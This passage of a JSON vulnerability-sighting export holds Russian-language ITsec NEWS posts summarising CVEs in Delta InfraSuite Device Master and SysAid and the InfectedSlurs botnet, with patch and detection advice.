\u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f. Delta Electronics \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.0.10 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439.\n\nInfraSuite Device Master \u2013 \u044d\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0446\u0435\u043d\u0442\u0440\u043e\u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f, \u0434\u0430\u0442\u0447\u0438\u043a\u0438 \u0437\u0434\u0430\u043d\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (Industrial Control System, ICS), \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b (Programmable Logic Controller, PLC, \u041f\u041b\u041a) \u0438 \u0441\u0447\u0451\u0442\u0447\u0438\u043a\u0438 \u044d\u043d\u0435\u0440\u0433\u0438\u0438.\n\n\u0411\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0446\u0435\u043d\u043a\u0443 \u00ab\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f\u00bb. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.\n\n\u0412 ZDI \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-47207 (CVSS: 9.8), \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442, \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0432 \u0441\u0435\u0442\u0438. \u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 InfraSuite Device Master \u0438 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 \u043e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. \u0415\u0441\u043b\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0440\u0443\u0433\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 OT \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0436\u0435\u0440\u0442\u0432\u044b \u0441 \u0446\u0435\u043b\u044c\u044e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0438 \u0438\u043b\u0438 \u0443\u0449\u0435\u0440\u0431, \u043e\u043d \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 Delta, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0440\u044b\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 OT.\n\nZDI \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u0432 \u043f\u0440\u0438\u043c\u0435\u0440 \u0440\u0435\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 Stuxnet , \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0431\u044b\u043b\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043e \u0434\u043b\u044f \u043d\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0443\u0449\u0435\u0440\u0431\u0430 ICS-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c \u0441 \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433\u0430\u043c\u0438 \u043d\u0430 \u044f\u0434\u0435\u0440\u043d\u043e\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0435 \u041d\u0430\u0442\u0430\u043d\u0437 \u0432 \u0418\u0440\u0430\u043d\u0435, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u044b\u0442\u0430\u044f\u0441\u044c \u0441\u043a\u0440\u044b\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-12-12T09:52:14.000000Z"}, {"uuid": "fc21478a-0830-4c72-a30c-ead3fd248985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/itsec_news/3644", "content": "\u200b\u26a1\ufe0f0day \u0432 SysAid: \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u043f\u043e\u0442\u0435\u0440\u0438\n\n\ud83d\udcac \u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 SysAid, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0442\u044c \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c Clop. SysAid \u2014 \u044d\u0442\u043e \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f IT-\u0443\u0441\u043b\u0443\u0433\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0435 \u0432 \u0441\u0435\u0431\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 CVE-2023-47246 , \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 2 \u043d\u043e\u044f\u0431\u0440\u044f \u043f\u0440\u0438 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b SysAid \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 Microsoft Threat Intelligence \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438 \u043e\u043f\u043e\u0432\u0435\u0441\u0442\u0438\u043b\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 SysAid.\n\n\u041f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u043e\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e WAR-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0432\u0435\u0431-\u0441\u043b\u0443\u0436\u0431\u044b Tomcat SysAid. \u042d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u043b\u043e \u043f\u0443\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e GraceWire \u0432 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0422\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e ('user.exe') \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Sophos \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0435\u043c\u0438\u043b\u0438\u0441\u044c \u0441\u043a\u0440\u044b\u0442\u044c \u0441\u043b\u0435\u0434\u044b, \u0443\u0434\u0430\u043b\u044f\u044f \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 PowerShell. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0433\u0440\u0443\u043f\u043f\u0430 Lace Tempest (Fin11, TA505), \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c Cobalt Strike.\n\n\u0412 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u0443 SysAid \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f CVE-2023-47246. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 23.3.36 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439. \u0414\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043e\u0431\u0440\u0430\u0442\u0438\u0432 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 Tomcat SysAid, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 WebShell \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438. \u0412\u0430\u0436\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u044c \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b PowerShell \u043d\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u0441\u0445\u0435\u043c\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u041e\u0442\u0447\u0435\u0442 SysAid \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 (Indicator of Compromise, IOC), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432, \u0445\u0435\u0448\u0438, IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u043f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0434\u043b\u044f \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0441\u043b\u0435\u0434\u043e\u0432 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-11-10T07:34:00.000000Z"}, {"uuid": "bdc5251a-ceca-4ca3-8122-68b970500f93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://t.me/itsec_news/3861", "content": "\u200b\u26a1\ufe0f\u0417\u0430\u0449\u0438\u0442\u0438\u0442\u0435 \u0441\u0432\u043e\u0438 \u0440\u043e\u0443\u0442\u0435\u0440\u044b \u0438 \u0432\u0438\u0434\u0435\u043e\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b: \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0431\u043e\u0442\u043d\u0435\u0442\u0430 InfectedSlurs \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043e\u0441\u0432\u0430\u0438\u0432\u0430\u044e\u0442 \u0441\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\ud83d\udcac\u0412 \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044b\u0445 \u0447\u0438\u0441\u043b\u0430\u0445 \u043d\u043e\u044f\u0431\u0440\u044f \u043c\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043e \u0431\u043e\u0442\u043d\u0435\u0442\u0435 InfectedSlurs, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 NVR-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 QNAP VioStor \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 DDoS-\u0430\u0442\u0430\u043a. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Akamai, \u0431\u043e\u0442\u043d\u0435\u0442 \u043d\u0430\u0447\u0430\u043b \u0441\u0432\u043e\u044e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 2022 \u0433\u043e\u0434\u0430.\n\n\u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Akamai \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043e\u0436\u0438\u0434\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043e\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0430 \u0434\u043d\u044f\u0445 \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u0447\u0451\u0442\u044b \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 